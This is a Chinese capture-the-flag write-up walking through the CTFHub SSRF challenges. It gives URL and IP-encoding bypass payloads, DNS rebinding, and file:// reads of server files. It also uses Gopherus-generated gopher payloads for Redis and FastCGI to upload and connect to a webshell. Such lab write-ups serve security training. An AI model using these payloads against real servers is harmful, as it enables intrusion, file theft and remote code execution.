ctfhub-web-SSRF通过攻略

1.URL Bypass

打开题目

请求的URL中必须包含http://notfound.ctfhub.com,使用@来绕过即可

/?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

成功获得flag 

2.数字IP Bypass

开启题目

 发现127以及172被过滤了

尝试别的绕过

127.0.0.1–>localhost

127.0.0.1–>7F000001       ⼗六进制

127.0.0.1–>2130706433      ⼗进制

127.0.0.1–>2130706433       Enclosed Alphanumerics

3. 302跳转 Bypass

请求会跳转到其他页面

绕过姿势

?url=http://0.0.0.0/flag.php

?url=http://localhost/flag.php

4.DNS重绑定 Bypass

 

打开附件网站https://lock.cmpxchg8b.com/rebinder.html , 绑定两个回环地址

?url=http://7f000001.7f000002.rbndr.us/flag.php 

 5.内网访问

开启题目:/?url=http://127.0.0.1/flag.php

6.伪协议读取文件

/?url=file:///var/www/html/flag.php

查看网页源代码 

7. 端口扫描

访问http://127.0.0.1:8000 使⽤BP抓包并进⾏爆破

 

 8.Redis协议

开启环境,打开Kali,使用Gopherus工具

python2 gopherus.py --exploit redis

进⾏⼀次URL编码后并访问上传的⽂件 shell.php

 

 连接⽊⻢获得flag

9. FastCGI协议

开启环境

 使⽤Gopherus⼯具⽣成payload:                    python2 gopherus.py --exploit fastcgi

将⽣成的payload再进⾏第⼆次编码即可访问上传

 

链接已经上传的shell⽊⻢ 在根⽬录发现flag

 

10. POST请求

打开环境

 查看网页源代码,输入提交key值

 提交请求时抓包,修改为gopher协议进行post请求

 进行url编码

将其中的 %0A 替换成 %0d%0A 并且末尾要加上 %0d%0a ,再次进行url编码

将编码提交到url, 页面出现flag(注意:有的编码平台可能会把冒号和双斜杠进行编码 构造payload时要修改回来)

 

11. 上传文件

?url=file:///var/www/html/flag.php

源码中需⼿动添加提交框并提交⽂件⼤⼩⼤于0的⽂件并抓包

修改为gopher协议进行post请求

 

 然后与上面POST请求一样,url编码⼀次把%0A 换成 %0D%0A ,然后再进行第⼆次编码

在url后加上二次编码后的gopher协议 发现页面有flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值